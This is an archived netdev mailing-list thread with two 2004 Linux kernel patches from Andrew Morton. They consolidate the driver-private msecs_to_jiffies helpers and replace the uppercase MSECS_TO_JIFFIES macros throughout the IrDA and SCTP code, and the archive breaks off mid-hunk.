akpm@osdl.org Precedence: bulk X-list: netdev Andrew Morton wrote: > > Jeff Garzik wrote: > > > > For whomever winds up doing this work, I have two requests: > > > > * use a type-safe inline rather than purely a macro, as some drivers do > > * replace msecs_to_jiffies() occurrences as well as MSECS_TO_JIFFIES() > > (and ditto for jiffies_to_msecs) > > ... > Drivers need to be fixed up to use this instead of their private versions. Remove various private implementations of msecs_to_jiffies() and jiffies_to_msecs(). There are various uppercase versions which should be consolidated. --- 25-akpm/drivers/block/carmel.c | 5 ----- 25-akpm/drivers/block/genhd.c | 26 ++++++++------------------ 25-akpm/drivers/char/watchdog/shwdt.c | 1 - 25-akpm/drivers/net/tulip/de2104x.c | 9 +-------- 25-akpm/include/linux/libata.h | 5 ----- drivers/scsi/libata-core.c | 0 drivers/scsi/sata_promise.c | 0 7 files changed, 9 insertions(+), 37 deletions(-) diff -puN drivers/block/genhd.c~msec_to_jiffies-drivers drivers/block/genhd.c --- 25/drivers/block/genhd.c~msec_to_jiffies-drivers Thu May 13 15:26:38 2004 +++ 25-akpm/drivers/block/genhd.c Thu May 13 15:26:38 2004 @@ -357,16 +357,6 @@ static ssize_t disk_size_read(struct gen return sprintf(page, "%llu\n", (unsigned long long)get_capacity(disk)); } -static inline unsigned jiffies_to_msec(unsigned jif) -{ -#if 1000 % HZ == 0 - return jif * (1000 / HZ); -#elif HZ % 1000 == 0 - return jif / (HZ / 1000); -#else - return (jif / HZ) * 1000 + (jif % HZ) * 1000 / HZ; -#endif -} static ssize_t disk_stats_read(struct gendisk * disk, char *page) { disk_round_stats(disk); @@ -377,14 +367,14 @@ static ssize_t disk_stats_read(struct ge "\n", disk_stat_read(disk, reads), disk_stat_read(disk, read_merges), (unsigned long long)disk_stat_read(disk, read_sectors), - jiffies_to_msec(disk_stat_read(disk, read_ticks)), + jiffies_to_msecs(disk_stat_read(disk, read_ticks)), disk_stat_read(disk, writes), disk_stat_read(disk, write_merges), (unsigned long long)disk_stat_read(disk, write_sectors), - jiffies_to_msec(disk_stat_read(disk, write_ticks)), + jiffies_to_msecs(disk_stat_read(disk, write_ticks)), disk->in_flight, - jiffies_to_msec(disk_stat_read(disk, io_ticks)), - jiffies_to_msec(disk_stat_read(disk, time_in_queue))); + jiffies_to_msecs(disk_stat_read(disk, io_ticks)), + jiffies_to_msecs(disk_stat_read(disk, time_in_queue))); } static struct disk_attribute disk_attr_dev = { .attr = {.name = "dev", .mode = S_IRUGO }, @@ -498,13 +488,13 @@ static int diskstats_show(struct seq_fil gp->major, n + gp->first_minor, disk_name(gp, n, buf), disk_stat_read(gp, reads), disk_stat_read(gp, read_merges), (unsigned long long)disk_stat_read(gp, read_sectors), - jiffies_to_msec(disk_stat_read(gp, read_ticks)), + jiffies_to_msecs(disk_stat_read(gp, read_ticks)), disk_stat_read(gp, writes), disk_stat_read(gp, write_merges), (unsigned long long)disk_stat_read(gp, write_sectors), - jiffies_to_msec(disk_stat_read(gp, write_ticks)), + jiffies_to_msecs(disk_stat_read(gp, write_ticks)), gp->in_flight, - jiffies_to_msec(disk_stat_read(gp, io_ticks)), - jiffies_to_msec(disk_stat_read(gp, time_in_queue))); + jiffies_to_msecs(disk_stat_read(gp, io_ticks)), + jiffies_to_msecs(disk_stat_read(gp, time_in_queue))); /* now show all non-0 size partitions of it */ for (n = 0; n < gp->minors - 1; n++) { diff -puN drivers/net/tulip/de2104x.c~msec_to_jiffies-drivers drivers/net/tulip/de2104x.c --- 25/drivers/net/tulip/de2104x.c~msec_to_jiffies-drivers Thu May 13 15:26:38 2004 +++ 25-akpm/drivers/net/tulip/de2104x.c Thu May 13 15:26:38 2004 @@ -357,13 +357,6 @@ static u16 t21041_csr14[] = { 0xFFFF, 0x static u16 t21041_csr15[] = { 0x0008, 0x0006, 0x000E, 0x0008, 0x0008, }; -static inline unsigned long -msec_to_jiffies(unsigned long ms) -{ - return (((ms)*HZ+999)/1000); -} - - #define dr32(reg) readl(de->regs + (reg)) #define dw32(reg,val) writel((val), de->regs + (reg)) @@ -1216,7 +1209,7 @@ static void de_adapter_wake (struct de_p /* de4x5.c delays, so we do too */ current->state = TASK_UNINTERRUPTIBLE; - schedule_timeout(msec_to_jiffies(10)); + schedule_timeout(msecs_to_jiffies(10)); } } diff -puN drivers/char/watchdog/shwdt.c~msec_to_jiffies-drivers drivers/char/watchdog/shwdt.c --- 25/drivers/char/watchdog/shwdt.c~msec_to_jiffies-drivers Thu May 13 15:26:38 2004 +++ 25-akpm/drivers/char/watchdog/shwdt.c Thu May 13 15:26:38 2004 @@ -64,7 +64,6 @@ */ static int clock_division_ratio = WTCSR_CKS_4096; -#define msecs_to_jiffies(msecs) (jiffies + (HZ * msecs + 9999) / 10000) #define next_ping_period(cks) msecs_to_jiffies(cks - 4) static unsigned long shwdt_is_open; diff -puN drivers/scsi/libata-core.c~msec_to_jiffies-drivers drivers/scsi/libata-core.c diff -puN drivers/scsi/sata_promise.c~msec_to_jiffies-drivers drivers/scsi/sata_promise.c diff -puN drivers/block/carmel.c~msec_to_jiffies-drivers drivers/block/carmel.c --- 25/drivers/block/carmel.c~msec_to_jiffies-drivers Thu May 13 15:26:38 2004 +++ 25-akpm/drivers/block/carmel.c Thu May 13 15:26:38 2004 @@ -438,11 +438,6 @@ static int carm_bdev_ioctl(struct inode return -EOPNOTSUPP; } -static inline unsigned long msecs_to_jiffies(unsigned long msecs) -{ - return ((HZ * msecs + 999) / 1000); -} - static void msleep(unsigned long msecs) { set_current_state(TASK_UNINTERRUPTIBLE); diff -puN include/linux/libata.h~msec_to_jiffies-drivers include/linux/libata.h --- 25/include/linux/libata.h~msec_to_jiffies-drivers Thu May 13 15:26:38 2004 +++ 25-akpm/include/linux/libata.h Thu May 13 15:26:38 2004 @@ -408,11 +408,6 @@ extern int ata_std_bios_param(struct scs extern int ata_scsi_slave_config(struct scsi_device *sdev); -static inline unsigned long msecs_to_jiffies(unsigned long msecs) -{ - return ((HZ * msecs + 999) / 1000); -} - static inline unsigned int ata_tag_valid(unsigned int tag) { return (tag < ATA_MAX_QUEUE) ? 1 : 0; _ From akpm@osdl.org Thu May 13 15:40:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 13 May 2004 15:40:24 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4DMeFKO017000 for ; Thu, 13 May 2004 15:40:16 -0700 Received: from akpm.pao.digeo.com (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4DMccJ31555; Thu, 13 May 2004 15:38:38 -0700 Date: Thu, 13 May 2004 15:41:16 -0700 From: Andrew Morton To: jgarzik@pobox.com, paul@wagland.net, mingo@elte.hu, wli@holomorphy.com, greg@kroah.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, davidel@xmailserver.org, Valdis.Kletnieks@vt.edu Subject: Re: MSEC_TO_JIFFIES is messed up... Message-Id: <20040513154116.6bb639c1.akpm@osdl.org> In-Reply-To: <20040513154040.6acc8121.akpm@osdl.org> References: <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <200405121947.i4CJlJm5029666@turing-police.cc.vt.edu> <200405122007.i4CK7GPQ020444@turing-police.cc.vt.edu> <20040512202807.GA16849@elte.hu> <20040512203500.GA17999@elte.hu> <20040512205028.GA18806@elte.hu> <20040512140729.476ace9e.akpm@osdl.org> <20040512211748.GB20800@elte.hu> <20040512221823.GK1397@holomorphy.com> <61D92BA6-A504-11D8-BD91-000A95CD704C@wagland.net> <20040513121141.37f32035.akpm@osdl.org> <40A3CA34.60202@pobox.com> <20040513154002.4988b7f2.akpm@osdl.org> <20040513154040.6acc8121.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i586-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5134 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Andrew Morton wrote: > > Andrew Morton wrote: > > > > Jeff Garzik wrote: > > > > > > For whomever winds up doing this work, I have two requests: > > > > > > * use a type-safe inline rather than purely a macro, as some drivers do > > > * replace msecs_to_jiffies() occurrences as well as MSECS_TO_JIFFIES() > > > (and ditto for jiffies_to_msecs) > > > > ... > > Drivers need to be fixed up to use this instead of their private versions. > > ... > There are various uppercase versions which should be consolidated. Switch all users of MSEC[S]_TO_JIFFIES and JIFFIES_TO_MSEC[S] over to use jiffies_to_msecs() and msecs_to_jiffies(). Withdraw MSECS_TO_JIFFIES() and JIFFIES_TO_MSECS() from the kernel API. --- 25-akpm/drivers/net/irda/act200l-sir.c | 2 - 25-akpm/drivers/net/irda/act200l.c | 10 ++++----- 25-akpm/drivers/net/irda/actisys.c | 2 - 25-akpm/drivers/net/irda/girbil.c | 10 ++++----- 25-akpm/drivers/net/irda/irda-usb.c | 6 ++--- 25-akpm/drivers/net/irda/irport.c | 4 +-- 25-akpm/drivers/net/irda/irtty-sir.c | 4 +-- 25-akpm/drivers/net/irda/ma600-sir.c | 8 +++---- 25-akpm/drivers/net/irda/ma600.c | 16 +++++++-------- 25-akpm/drivers/net/irda/mcp2120.c | 8 +++---- 25-akpm/drivers/net/irda/sir_dev.c | 2 - 25-akpm/drivers/net/irda/sir_kthread.c | 2 - 25-akpm/drivers/net/irda/stir4200.c | 6 ++--- 25-akpm/drivers/net/irda/tekram-sir.c | 2 - 25-akpm/drivers/net/irda/tekram.c | 12 +++++------ 25-akpm/include/linux/time.h | 3 -- 25-akpm/kernel/sched.c | 2 - 25-akpm/net/irda/ircomm/ircomm_tty.c | 2 - 25-akpm/net/irda/irlap_event.c | 6 ++--- 25-akpm/net/sctp/associola.c | 10 ++++----- 25-akpm/net/sctp/chunk.c | 2 - 25-akpm/net/sctp/endpointola.c | 4 +-- 25-akpm/net/sctp/socket.c | 34 ++++++++++++++++----------------- 23 files changed, 77 insertions(+), 80 deletions(-) diff -puN drivers/net/irda/act200l.c~MSEC_TO_JIFFIES-to-msec_to_jiffies drivers/net/irda/act200l.c --- 25/drivers/net/irda/act200l.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/drivers/net/irda/act200l.c Thu May 13 15:35:15 2004 @@ -148,7 +148,7 @@ static int act200l_change_speed(struct i irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give reset 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = msecs_to_jiffies(1000); } break; case IRDA_TASK_CHILD_WAIT: @@ -187,7 +187,7 @@ static int act200l_change_speed(struct i /* Write control bytes */ self->write(self->dev, control, 3); irda_task_next_state(task, IRDA_TASK_WAIT); - ret = MSECS_TO_JIFFIES(5); + ret = msecs_to_jiffies(5); break; case IRDA_TASK_WAIT: /* Go back to normal mode */ @@ -237,14 +237,14 @@ static int act200l_reset(struct irda_tas self->set_dtr_rts(self->dev, TRUE, TRUE); irda_task_next_state(task, IRDA_TASK_WAIT1); - ret = MSECS_TO_JIFFIES(50); + ret = msecs_to_jiffies(50); break; case IRDA_TASK_WAIT1: /* Reset the dongle : set RTS low for 25 ms */ self->set_dtr_rts(self->dev, TRUE, FALSE); irda_task_next_state(task, IRDA_TASK_WAIT2); - ret = MSECS_TO_JIFFIES(50); + ret = msecs_to_jiffies(50); break; case IRDA_TASK_WAIT2: /* Clear DTR and set RTS to enter command mode */ @@ -253,7 +253,7 @@ static int act200l_reset(struct irda_tas /* Write control bytes */ self->write(self->dev, control, 9); irda_task_next_state(task, IRDA_TASK_WAIT3); - ret = MSECS_TO_JIFFIES(15); + ret = msecs_to_jiffies(15); break; case IRDA_TASK_WAIT3: /* Go back to normal mode */ diff -puN drivers/net/irda/act200l-sir.c~MSEC_TO_JIFFIES-to-msec_to_jiffies drivers/net/irda/act200l-sir.c --- 25/drivers/net/irda/act200l-sir.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/drivers/net/irda/act200l-sir.c Thu May 13 15:35:15 2004 @@ -178,7 +178,7 @@ static int act200l_change_speed(struct s /* Write control bytes */ sirdev_raw_write(dev, control, 3); set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(5)); + schedule_timeout(msecs_to_jiffies(5)); /* Go back to normal mode */ sirdev_set_dtr_rts(dev, TRUE, TRUE); diff -puN drivers/net/irda/actisys.c~MSEC_TO_JIFFIES-to-msec_to_jiffies drivers/net/irda/actisys.c --- 25/drivers/net/irda/actisys.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/drivers/net/irda/actisys.c Thu May 13 15:35:15 2004 @@ -238,7 +238,7 @@ static int actisys_reset(struct irda_tas self->set_dtr_rts(self->dev, TRUE, TRUE); /* Sleep 50 ms to make sure capacitor is charged */ - ret = MSECS_TO_JIFFIES(50); + ret = msecs_to_jiffies(50); irda_task_next_state(task, IRDA_TASK_WAIT); break; case IRDA_TASK_WAIT: diff -puN drivers/net/irda/girbil.c~MSEC_TO_JIFFIES-to-msec_to_jiffies drivers/net/irda/girbil.c --- 25/drivers/net/irda/girbil.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/drivers/net/irda/girbil.c Thu May 13 15:35:15 2004 @@ -119,7 +119,7 @@ static int girbil_change_speed(struct ir irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give reset 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = msecs_to_jiffies(1000); } break; case IRDA_TASK_CHILD_WAIT: @@ -153,7 +153,7 @@ static int girbil_change_speed(struct ir /* Write control bytes */ self->write(self->dev, control, 2); irda_task_next_state(task, IRDA_TASK_WAIT); - ret = MSECS_TO_JIFFIES(100); + ret = msecs_to_jiffies(100); break; case IRDA_TASK_WAIT: /* Go back to normal mode */ @@ -194,19 +194,19 @@ static int girbil_reset(struct irda_task self->set_dtr_rts(self->dev, TRUE, FALSE); irda_task_next_state(task, IRDA_TASK_WAIT1); /* Sleep at least 5 ms */ - ret = MSECS_TO_JIFFIES(20); + ret = msecs_to_jiffies(20); break; case IRDA_TASK_WAIT1: /* Set DTR and clear RTS to enter command mode */ self->set_dtr_rts(self->dev, FALSE, TRUE); irda_task_next_state(task, IRDA_TASK_WAIT2); - ret = MSECS_TO_JIFFIES(20); + ret = msecs_to_jiffies(20); break; case IRDA_TASK_WAIT2: /* Write control byte */ self->write(self->dev, &control, 1); irda_task_next_state(task, IRDA_TASK_WAIT3); - ret = MSECS_TO_JIFFIES(20); + ret = msecs_to_jiffies(20); break; case IRDA_TASK_WAIT3: /* Go back to normal mode */ diff -puN drivers/net/irda/irda-usb.c~MSEC_TO_JIFFIES-to-msec_to_jiffies drivers/net/irda/irda-usb.c --- 25/drivers/net/irda/irda-usb.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/drivers/net/irda/irda-usb.c Thu May 13 15:35:15 2004 @@ -268,7 +268,7 @@ static void irda_usb_change_speed_xbofs( speed_bulk_callback, self); urb->transfer_buffer_length = USB_IRDA_HEADER; urb->transfer_flags = URB_ASYNC_UNLINK; - urb->timeout = MSECS_TO_JIFFIES(100); + urb->timeout = msecs_to_jiffies(100); /* Irq disabled -> GFP_ATOMIC */ if ((ret = usb_submit_urb(urb, GFP_ATOMIC))) { @@ -412,7 +412,7 @@ static int irda_usb_hard_xmit(struct sk_ * This is how the dongle will detect the end of packet - Jean II */ urb->transfer_flags |= URB_ZERO_PACKET; /* Timeout need to be shorter than NET watchdog timer */ - urb->timeout = MSECS_TO_JIFFIES(200); + urb->timeout = msecs_to_jiffies(200); /* Generate min turn time. FIXME: can we do better than this? */ /* Trying to a turnaround time at this level is trying to measure @@ -1311,7 +1311,7 @@ static inline struct irda_class_desc *ir IU_REQ_GET_CLASS_DESC, USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE, 0, intf->altsetting->desc.bInterfaceNumber, desc, - sizeof(*desc), MSECS_TO_JIFFIES(500)); + sizeof(*desc), msecs_to_jiffies(500)); IRDA_DEBUG(1, "%s(), ret=%d\n", __FUNCTION__, ret); if (ret < sizeof(*desc)) { diff -puN drivers/net/irda/irport.c~MSEC_TO_JIFFIES-to-msec_to_jiffies drivers/net/irda/irport.c --- 25/drivers/net/irda/irport.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/drivers/net/irda/irport.c Thu May 13 15:35:15 2004 @@ -452,7 +452,7 @@ int __irport_change_speed(struct irda_ta task->state = IRDA_TASK_WAIT; /* Try again later */ - ret = MSECS_TO_JIFFIES(20); + ret = msecs_to_jiffies(20); break; } @@ -474,7 +474,7 @@ int __irport_change_speed(struct irda_ta irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give dongle 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = msecs_to_jiffies(1000); } else /* Child finished immediately */ irda_task_next_state(task, IRDA_TASK_CHILD_DONE); diff -puN drivers/net/irda/irtty-sir.c~MSEC_TO_JIFFIES-to-msec_to_jiffies drivers/net/irda/irtty-sir.c --- 25/drivers/net/irda/irtty-sir.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/drivers/net/irda/irtty-sir.c Thu May 13 15:35:15 2004 @@ -93,12 +93,12 @@ static void irtty_wait_until_sent(struct tty = priv->tty; if (tty->driver->wait_until_sent) { lock_kernel(); - tty->driver->wait_until_sent(tty, MSECS_TO_JIFFIES(100)); + tty->driver->wait_until_sent(tty, msecs_to_jiffies(100)); unlock_kernel(); } else { set_task_state(current, TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(USBSERIAL_TX_DONE_DELAY)); + schedule_timeout(msecs_to_jiffies(USBSERIAL_TX_DONE_DELAY)); } } diff -puN drivers/net/irda/ma600.c~MSEC_TO_JIFFIES-to-msec_to_jiffies drivers/net/irda/ma600.c --- 25/drivers/net/irda/ma600.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/drivers/net/irda/ma600.c Thu May 13 15:35:15 2004 @@ -184,7 +184,7 @@ static int ma600_change_speed(struct ird if (self->speed_task && self->speed_task != task) { IRDA_DEBUG(0, "%s(), busy!\n", __FUNCTION__); - return MSECS_TO_JIFFIES(10); + return msecs_to_jiffies(10); } else { self->speed_task = task; } @@ -202,7 +202,7 @@ static int ma600_change_speed(struct ird irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* give 1 second to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = msecs_to_jiffies(1000); } else { irda_task_next_state(task, IRDA_TASK_CHILD_DONE); } @@ -217,7 +217,7 @@ static int ma600_change_speed(struct ird /* Set DTR, Clear RTS */ self->set_dtr_rts(self->dev, TRUE, FALSE); - ret = MSECS_TO_JIFFIES(1); /* Sleep 1 ms */ + ret = msecs_to_jiffies(1); /* Sleep 1 ms */ irda_task_next_state(task, IRDA_TASK_WAIT); break; @@ -231,7 +231,7 @@ static int ma600_change_speed(struct ird irda_task_next_state(task, IRDA_TASK_WAIT1); /* Wait at least 10 ms */ - ret = MSECS_TO_JIFFIES(15); + ret = msecs_to_jiffies(15); break; case IRDA_TASK_WAIT1: @@ -258,7 +258,7 @@ static int ma600_change_speed(struct ird irda_task_next_state(task, IRDA_TASK_WAIT2); /* Wait at least 10 ms */ - ret = MSECS_TO_JIFFIES(10); + ret = msecs_to_jiffies(10); break; case IRDA_TASK_WAIT2: @@ -298,7 +298,7 @@ int ma600_reset(struct irda_task *task) if (self->reset_task && self->reset_task != task) { IRDA_DEBUG(0, "%s(), busy!\n", __FUNCTION__); - return MSECS_TO_JIFFIES(10); + return msecs_to_jiffies(10); } else self->reset_task = task; @@ -307,13 +307,13 @@ int ma600_reset(struct irda_task *task) /* Clear DTR and Set RTS */ self->set_dtr_rts(self->dev, FALSE, TRUE); irda_task_next_state(task, IRDA_TASK_WAIT1); - ret = MSECS_TO_JIFFIES(10); /* Sleep 10 ms */ + ret = msecs_to_jiffies(10); /* Sleep 10 ms */ break; case IRDA_TASK_WAIT1: /* Set DTR and RTS */ self->set_dtr_rts(self->dev, TRUE, TRUE); irda_task_next_state(task, IRDA_TASK_WAIT2); - ret = MSECS_TO_JIFFIES(10); /* Sleep 10 ms */ + ret = msecs_to_jiffies(10); /* Sleep 10 ms */ break; case IRDA_TASK_WAIT2: irda_task_next_state(task, IRDA_TASK_DONE); diff -puN drivers/net/irda/ma600-sir.c~MSEC_TO_JIFFIES-to-msec_to_jiffies drivers/net/irda/ma600-sir.c --- 25/drivers/net/irda/ma600-sir.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/drivers/net/irda/ma600-sir.c Thu May 13 15:35:15 2004 @@ -192,7 +192,7 @@ static int ma600_change_speed(struct sir /* Wait at least 10ms: fake wait_until_sent - 10 bits at 9600 baud*/ set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(15)); /* old ma600 uses 15ms */ + schedule_timeout(msecs_to_jiffies(15)); /* old ma600 uses 15ms */ #if 1 /* read-back of the control byte. ma600 is the first dongle driver @@ -216,7 +216,7 @@ static int ma600_change_speed(struct sir /* Wait at least 10ms */ set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(10)); + schedule_timeout(msecs_to_jiffies(10)); /* dongle is now switched to the new speed */ dev->speed = speed; @@ -246,12 +246,12 @@ int ma600_reset(struct sir_dev *dev) /* Reset the dongle : set DTR low for 10 ms */ sirdev_set_dtr_rts(dev, FALSE, TRUE); set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(10)); + schedule_timeout(msecs_to_jiffies(10)); /* Go back to normal mode */ sirdev_set_dtr_rts(dev, TRUE, TRUE); set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(10)); + schedule_timeout(msecs_to_jiffies(10)); dev->speed = 9600; /* That's the dongle-default */ diff -puN drivers/net/irda/mcp2120.c~MSEC_TO_JIFFIES-to-msec_to_jiffies drivers/net/irda/mcp2120.c --- 25/drivers/net/irda/mcp2120.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/drivers/net/irda/mcp2120.c Thu May 13 15:35:15 2004 @@ -99,7 +99,7 @@ static int mcp2120_change_speed(struct i irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give reset 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = msecs_to_jiffies(1000); } break; case IRDA_TASK_CHILD_WAIT: @@ -140,7 +140,7 @@ static int mcp2120_change_speed(struct i self->write(self->dev, control, 2); irda_task_next_state(task, IRDA_TASK_WAIT); - ret = MSECS_TO_JIFFIES(100); + ret = msecs_to_jiffies(100); //printk("mcp2120_change_speed irda_child_done\n"); break; case IRDA_TASK_WAIT: @@ -189,14 +189,14 @@ static int mcp2120_reset(struct irda_tas /* Reset dongle by setting RTS*/ self->set_dtr_rts(self->dev, TRUE, TRUE); irda_task_next_state(task, IRDA_TASK_WAIT1); - ret = MSECS_TO_JIFFIES(50); + ret = msecs_to_jiffies(50); break; case IRDA_TASK_WAIT1: //printk("mcp2120_reset irda_task_wait1\n"); /* clear RTS and wait for at least 30 ms. */ self->set_dtr_rts(self->dev, FALSE, FALSE); irda_task_next_state(task, IRDA_TASK_WAIT2); - ret = MSECS_TO_JIFFIES(50); + ret = msecs_to_jiffies(50); break; case IRDA_TASK_WAIT2: //printk("mcp2120_reset irda_task_wait2\n"); diff -puN drivers/net/irda/sir_dev.c~MSEC_TO_JIFFIES-to-msec_to_jiffies drivers/net/irda/sir_dev.c --- 25/drivers/net/irda/sir_dev.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/drivers/net/irda/sir_dev.c Thu May 13 15:35:15 2004 @@ -74,7 +74,7 @@ int sirdev_raw_write(struct sir_dev *dev while (dev->tx_buff.len > 0) { /* wait until tx idle */ spin_unlock_irqrestore(&dev->tx_lock, flags); set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(10)); + schedule_timeout(msecs_to_jiffies(10)); spin_lock_irqsave(&dev->tx_lock, flags); } diff -puN drivers/net/irda/sir_kthread.c~MSEC_TO_JIFFIES-to-msec_to_jiffies drivers/net/irda/sir_kthread.c --- 25/drivers/net/irda/sir_kthread.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/drivers/net/irda/sir_kthread.c Thu May 13 15:35:15 2004 @@ -415,7 +415,7 @@ static void irda_config_fsm(void *data) fsm->state = next_state; } while(!delay); - irda_queue_delayed_request(&fsm->rq, MSECS_TO_JIFFIES(delay)); + irda_queue_delayed_request(&fsm->rq, msecs_to_jiffies(delay)); } /* schedule some device configuration task for execution by kIrDAd diff -puN drivers/net/irda/stir4200.c~MSEC_TO_JIFFIES-to-msec_to_jiffies drivers/net/irda/stir4200.c --- 25/drivers/net/irda/stir4200.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/drivers/net/irda/stir4200.c Thu May 13 15:35:15 2004 @@ -208,7 +208,7 @@ static int write_reg(struct stir_cb *sti REQ_WRITE_SINGLE, USB_DIR_OUT|USB_TYPE_VENDOR|USB_RECIP_DEVICE, value, reg, NULL, 0, - MSECS_TO_JIFFIES(CTRL_TIMEOUT)); + msecs_to_jiffies(CTRL_TIMEOUT)); } /* Send control message to read multiple registers */ @@ -221,7 +221,7 @@ static inline int read_reg(struct stir_c REQ_READ_REG, USB_DIR_IN | USB_TYPE_VENDOR | USB_RECIP_DEVICE, 0, reg, data, count, - MSECS_TO_JIFFIES(CTRL_TIMEOUT)); + msecs_to_jiffies(CTRL_TIMEOUT)); } static inline int isfir(u32 speed) @@ -745,7 +745,7 @@ static void stir_send(struct stir_cb *st if (usb_bulk_msg(stir->usbdev, usb_sndbulkpipe(stir->usbdev, 1), stir->io_buf, wraplen, - NULL, MSECS_TO_JIFFIES(TRANSMIT_TIMEOUT))) + NULL, msecs_to_jiffies(TRANSMIT_TIMEOUT))) stir->stats.tx_errors++; } diff -puN drivers/net/irda/tekram.c~MSEC_TO_JIFFIES-to-msec_to_jiffies drivers/net/irda/tekram.c --- 25/drivers/net/irda/tekram.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/drivers/net/irda/tekram.c Thu May 13 15:35:15 2004 @@ -113,7 +113,7 @@ static int tekram_change_speed(struct ir if (self->speed_task && self->speed_task != task) { IRDA_DEBUG(0, "%s(), busy!\n", __FUNCTION__ ); - return MSECS_TO_JIFFIES(10); + return msecs_to_jiffies(10); } else self->speed_task = task; @@ -150,7 +150,7 @@ static int tekram_change_speed(struct ir irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give reset 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = msecs_to_jiffies(1000); } else irda_task_next_state(task, IRDA_TASK_CHILD_DONE); break; @@ -171,7 +171,7 @@ static int tekram_change_speed(struct ir irda_task_next_state(task, IRDA_TASK_WAIT); /* Wait at least 100 ms */ - ret = MSECS_TO_JIFFIES(150); + ret = msecs_to_jiffies(150); break; case IRDA_TASK_WAIT: /* Set DTR, Set RTS */ @@ -214,7 +214,7 @@ int tekram_reset(struct irda_task *task) if (self->reset_task && self->reset_task != task) { IRDA_DEBUG(0, "%s(), busy!\n", __FUNCTION__ ); - return MSECS_TO_JIFFIES(10); + return msecs_to_jiffies(10); } else self->reset_task = task; @@ -227,7 +227,7 @@ int tekram_reset(struct irda_task *task) irda_task_next_state(task, IRDA_TASK_WAIT1); /* Sleep 50 ms */ - ret = MSECS_TO_JIFFIES(50); + ret = msecs_to_jiffies(50); break; case IRDA_TASK_WAIT1: /* Clear DTR, Set RTS */ @@ -236,7 +236,7 @@ int tekram_reset(struct irda_task *task) irda_task_next_state(task, IRDA_TASK_WAIT2); /* Should sleep 1 ms */ - ret = MSECS_TO_JIFFIES(1); + ret = msecs_to_jiffies(1); break; case IRDA_TASK_WAIT2: /* Set DTR, Set RTS */ diff -puN drivers/net/irda/tekram-sir.c~MSEC_TO_JIFFIES-to-msec_to_jiffies drivers/net/irda/tekram-sir.c --- 25/drivers/net/irda/tekram-sir.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/drivers/net/irda/tekram-sir.c Thu May 13 15:35:15 2004 @@ -211,7 +211,7 @@ static int tekram_reset(struct sir_dev * /* Should sleep 1 ms */ set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(1)); + schedule_timeout(msecs_to_jiffies(1)); /* Set DTR, Set RTS */ sirdev_set_dtr_rts(dev, TRUE, TRUE); diff -puN include/linux/time.h~MSEC_TO_JIFFIES-to-msec_to_jiffies include/linux/time.h --- 25/include/linux/time.h~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/include/linux/time.h Thu May 13 15:35:15 2004 @@ -205,9 +205,6 @@ static inline unsigned long msecs_to_jif #endif } -#define JIFFIES_TO_MSECS(j) jiffies_to_msecs(j) -#define 